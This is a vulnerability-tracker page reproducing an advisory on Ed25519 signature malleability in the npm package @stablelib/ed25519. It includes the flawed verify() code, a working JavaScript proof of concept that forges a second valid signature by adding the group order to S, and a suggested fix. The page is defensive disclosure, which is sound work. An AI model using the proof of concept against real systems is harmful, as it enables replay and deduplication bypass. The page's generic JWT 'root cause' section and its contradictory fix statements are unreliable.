Skip to content
Noroxi
OSV ecosystem advisory

GHSA-x3ff-w252-2g7j: StableLib Ed25519 Signature Malleability via Missing S < L Check

MediumCVSS 5.3 · v3.1—No exploit No fix recorded

Noroxi assessment

Priority: Monitor (action score 21/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • According to the record, no fixed version is available yet.

Low priority for now. Update when a fix is released; follow the vendor's advisory.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

# Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347) ## Target - Repository: StableLib/stablelib (package: @stablelib/ed25519) - Platform: GitHub PVR - Bounty: CVE credit - CWE: CWE-347 (Improper Verification of Cryptographic Signature) - Version: 2.0.2 (latest, 2026-03-28) ## Root Cause The `verify()` function in `@stablelib/ed25519` does not check that the `S` component of the signature is less than the group order `L`. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where `S >= L` to prevent signature malleability. When `S >= L`, `[S]B = [(S mod L)]B = [(S - L)]B`, meaning two different 32-byte `S` values produce the same verification result. An attacker who observes a valid signature `(R, S)` can produce a second valid signature `(R, S + L)` for the same message. ### Vulnerable code **File:** `packages/ed25519/ed25519.ts` (compiled: `lib/ed25519.js:779-802`) ```javascript export function verify(publicKey, message, signature) { // ... length check, unpack public key ... const hs = new SHA512(); hs.update(signature.subarray(0, 32)); // R hs.update(publicKey); // A hs.update(message); // M const h = hs.digest(); reduce(h); // h is reduced mod L scalarmult(p, q, h); // [h](-A) scalarbase(q, signature.subarray(32)); // [S]B -- S NOT checked or reduced edadd(p, q); pack(t, p); if (verify32(signature, t)) { // compare R return false; } return true; } ``` Note that `h` is properly `reduce()`d (line 794), but `S` (signature bytes 32-63) is passed directly to `scalarbase()` without any range check. ## Proof of Concept ```javascript const ed = require('@stablelib/ed25519'); const kp = ed.generateKeyPair(); const msg = new TextEncoder().encode("Hello, world!"); const sig = ed.sign(kp.secretKey, msg); console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true // Ed25519 group order L const L = [ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ]; // Add L to S component to create malleable signature const malSig = new Uint8Array(64); malSig.set(sig.subarray(0, 32)); // R unchanged let carry = 0; for (let i = 0; i < 32; i++) { const sum = sig[32 + i] + L[i] + carry; malSig[32 + i] = sum & 0xff; carry = sum >> 8; } console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i])); // true ``` **Output:** ``` Original valid: true Malleable valid: true Sigs differ: true ``` ## Impact - **Signature malleability**: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key - **Transaction ID collision**: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks - **Deduplication bypass**: Systems deduplicating by signature value accept the same message twice with different "signatures" - **Same vulnerability class** as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH ## Suggested Fix Add an S < L check before processing the signature: ```javascript // L in little-endian const L = new Uint8Array([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ]); function scalarLessThanL(s) { for (let i = 31; i >= 0; i--) { if (s[i] < L[i]) return true; if (s[i] > L[i]) return false; } return false; // equal to L, reject } export function verify(publicKey, message, signature) { // ... existing checks ... if (!scalarLessThanL(signature.subarray(32))) { return false; // S >= L, reject } // ... rest of verify ... } ``` ## Self-Review - **Is this by-design?** No explicit documentation suggests malleability is intended. The library is described as implementing "Ed25519 public-key signature (EdDSA with Curve25519)" with no caveat about malleability. - **Is RFC 8032 strict about this?** No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity. - **Is this already reported?** No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L. - **Honest weaknesses:** (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation. - **CVSS:** Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact. ## Solution Upgrade to version 2.1.0.

Published
Apr 1, 2026
Updated
Apr 7, 2026
EPSS
—

Report tools

JSON

Action score

21

Monitor

Low priority for now.

CVSS
21 / 40 · 5.3 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • No fixed version yet

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-x3ff-w252-2g7j

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
npm@stablelib/ed25519

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npm@stablelib/ed25519up to and including 2.0.2—

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

No fix version is recorded for this entry. Check the references for vendor advisories.

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
none
Integrity
low · data or configuration can be modified
Availability
none
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
None
Integrity impact
Low
Availability impact
None

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

osv

Root cause

The verifier takes the algorithm to verify with from the token’s own header. Untrusted data ends up deciding its own verification rule.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
const claims = jwt.verify(token, publicKey);

Fixed

ts
const claims = jwt.verify(token, publicKey, {  algorithms: ["RS256"],  issuer: "https://id.example.com",  audience: "portal",});

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

References

Show all references (1 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

All records